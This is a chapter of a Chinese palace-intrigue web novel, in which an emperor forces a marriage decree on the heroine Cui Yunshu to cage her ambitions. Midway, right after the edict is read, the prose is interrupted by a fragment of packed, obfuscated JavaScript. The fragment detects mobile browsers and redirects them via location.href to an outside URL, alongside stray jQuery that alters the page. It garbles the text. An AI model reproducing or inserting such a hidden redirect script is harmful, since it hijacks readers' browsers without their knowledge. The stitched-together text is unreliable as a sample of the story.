是那种棋手在发现自己的对手,走出了一步意料之外的妙棋时,那种冰冷的,带着几分欣赏,又带着几分必杀之决心的,兴趣 。 他挥了挥手,示意暗卫退下。 御书房里,又只剩下他一个人。 他缓缓地,站起身,走到那幅巨大的,挂在墙上的大秦疆域图前。 他的目光,像一把尺子,一寸一寸地,丈量着自己的江山。 从京城,到北境。 从北境,再到东海。 最后,他的目光,停在了崔家那个小小的,却又无比扎眼的,标记上。 一个不稳定的,拥有了巨大财富,拥有了军方声望,甚至……即将拥有自己强大舰队的,不确定因素。 他不能再任其发展了 。 杀,是下策。会激起军方和太子党的反弹。 打压,他已经试过了。结果,不仅没把她压下去,反而让她借力打力,爬得更高。 那么…… 皇帝的嘴角,缓缓地,勾起了一抹冰冷的,深不见底的笑意。 对付一个羽翼渐丰的,即将飞出掌控的女人,最好的办法是什么? 不是折断她的翅膀。 是给她,造一个更华丽,更坚固,让她心甘情愿走进去,并且再也飞不出来的,笼子 。 一个名为“婚姻”的,金丝笼。 他拿起笔,在一张空白的圣旨上,缓缓地,写下了一行字。 …… 崔府。 死里逃生的喜悦,和政治斗争胜利的亢奋,还未完全散去。 府里的下人们,走路都带着风,脸上是与有荣焉的笑。 崔温和宋氏,也终于能睡个安稳觉了。女儿沉冤得雪,还得了陛下的赏赐和褒奖;儿子在东宫的地位,更是稳如泰山。崔家,仿佛已经彻底走出了阴霾,迎来了前所未有的,鼎盛时期。 只有崔云姝自己知道。 这不过是暴风雨来临前,那短暂得令人窒息的,风平浪静。 她坐在清姝院里,手里拿着一本新账本,脑子里,却在飞快地盘算着另一笔账。 “神机舰”的建造,已经进入了最烧钱的阶段。鲁大师那个技术疯子,简直就是个无底洞。东海船坞,就像一台巨大的碎金机,每天都在吞噬着海量的金钱。 “锦绣阁”的生意必须尽快铺开。 “皇家海洋贸易公司”的首航,也必须提上日程。 她需要钱。 很多很多的钱。 多到足以支撑她那艘巨大的“诺亚方舟”完工,然后,在那个该死的“三年之期”到来之前,带着她所有在乎的人,逃离这个鬼地方。 懒得想了。 她正盘算着,该从哪个环节,再榨出一点油水来。 一阵熟悉的,让她头皮发麻的喧闹声,从前院传了过来。 又是宫里的人。 崔云姝的心,咯噔一下。 一种极其不祥的,冰冷的,黏腻的预感,像一条毒蛇,顺着她的脊椎,缓缓地,爬了上来。 当她被下人簇拥着,来到正堂时,看到的是和上一次,几乎一模一样的场景。 为首的,是同一个面白无须,眼角吊着的老太监。 地上,跪着她的父亲,母亲,和一众族老。 唯一不同的是,这一次,老太监的脸上,没有了上一次那种居高临下的傲慢,反而,带着一丝近乎于讨好的,谄媚的笑意。 “崔四小姐,您可算来了。”他捏着嗓子,声音甜得发腻,“咱家给您道喜了!” 道喜? 崔云姝看着他那张笑成一朵菊花的老脸,心,却一点一点地,沉了下去。 她没有跪。 她只是静静地,站在那里。 太监清了清嗓子,展开了那卷熟悉的,让她感到生理性厌恶的,明黄色的丝绸。 “奉天承运皇帝,诏曰:” 圣旨的开头,是毫无新意的,铺天盖地的褒奖。 称赞她崔云姝,在“玉容膏”一案中,临危不乱,智勇双全,有烈女之风。 称赞她崔云姝,献计“公司之法”,心怀家国,为国库开辟财源,有经天纬地之才。 称赞她崔云姝,德言容功,堪为天下女子之表率,宗室儿媳之楷模 。 听到最后一句的时候,崔云姝的脑子里,嗡的一声。 像有什么东西,炸了。 果然。 那太监用一种抑扬顿挫的,仿佛在唱戏般的腔调,高声宣读出了那句,决定了她命运的,最终审判。 “……朕,念其贤德,心中甚慰。今,有英国公嫡长孙,周烨,品貌出众,文武双全,与崔氏四女,堪称天作之合。朕,特此赐婚!择良辰吉日,完婚。以彰皇恩,以固社稷。钦此——!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545249|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赐婚。 英国公。 嫡长孙。 这几个字,像一把淬了剧毒的,烧红的铁锤,狠狠地,一下一下地,砸在崔云姝的脑袋上。 她感觉不到疼。 她只感觉到,麻木。 一种从灵魂深处,泛上来的,冰冷的,彻底的麻木。 她甚至有闲心,去分析。 英国公府,老牌勋贵,一向中立,与世无争。但其家族势力,盘根错节,遍布朝野。更重要的是,他们家,和二皇子一派,私交甚好 。 把她嫁过去…… 皇帝这一招,何其毒也! 这不仅仅是把她锁在京城,断了她所有跑路的念想。 这是要把她,从太子党这辆战车上,活生生地,撕下来! 这是要让她,嫁进一个潜在的敌对阵营,在无穷无尽的后宅争斗和家族掣肘中,耗尽她所有的心力,磨平她所有的棱角! 这是要让她,从一个能呼风唤雨的“财神”,变回一个相夫教子,大门不出二门不迈的,寻常的,后宅妇人! 釜底抽薪。 不。 这比釜底抽薪,更狠。 这是……凌迟。 是用最甜蜜的,最无法反抗的方式,将她的灵魂,一片一片地,活活剐死 。 “崔四小姐,接旨吧?” 太监那谄媚的声音,在她耳边响起,显得如此的刺耳,如此的荒谬。 崔云姝缓缓地,抬起头。 她看到了父亲那张瞬间变得惨白如纸的脸。 她听到了身后,母亲宋氏那一声压抑不住的悲呼,和随之而来的,重重倒地的声音 。 她甚至,看到了人群角落里,她那个总是沉稳干练的二哥崔元珏,脸上,第一次露出了,惊慌失措的,无能为力的表情。 完了。 所有人都知道,完了。 抗旨,是灭族。 接旨,是她崔云姝,一个人,万劫不复。 这是一个死局。 一个用皇权织就的,天衣无缝的,让你连挣扎的余地都没有的,阳谋 。 崔云姝的脑海中,一片空白。 她想起了东海边那艘已经初具雏形的,名为“神机舰”的庞然大物。 她想起了鲁大师那张状若疯魔的,狂热的脸。 她想起了唐璞。 想起了他跪在自己面前,那双亮得像星星一样的,灼热的眼睛。 想起了他说:“谋主,下令吧!我唐璞,万死不辞!” 多可笑啊。 她的“诺亚方舟”,还没造好。 她的“首席大将军”,还在等着她下达“谋反”的命令。 而她这个所谓的“首席谋主”,却要被一道轻飘飘的圣旨,嫁给一个她连名字都没听说过的陌生人,去当一个安分守己的,贤良淑德的……英国公府长孙媳。 这三年的挣扎。 这三年的算计。 这三年的殚精竭虑,如履薄冰。 到头来,还是逃不过这既定的,牢笼般的命运吗? 她缓缓地,伸出了手。 那双手,曾经拨动过算盘,写下过能搅动天下风云的章程,画出过能颠覆一个时代的图纸。 而现在,它却要接过一道,将彻底埋葬她所有自由和希望的,圣旨。 入手,是冰冷的。 丝绸的触感,却像一条毒蛇的鳞片,滑腻,阴冷,死死地,缠住了她的手腕,她的心脏,她的……灵魂。 她,输了。 输得,一败涂地 。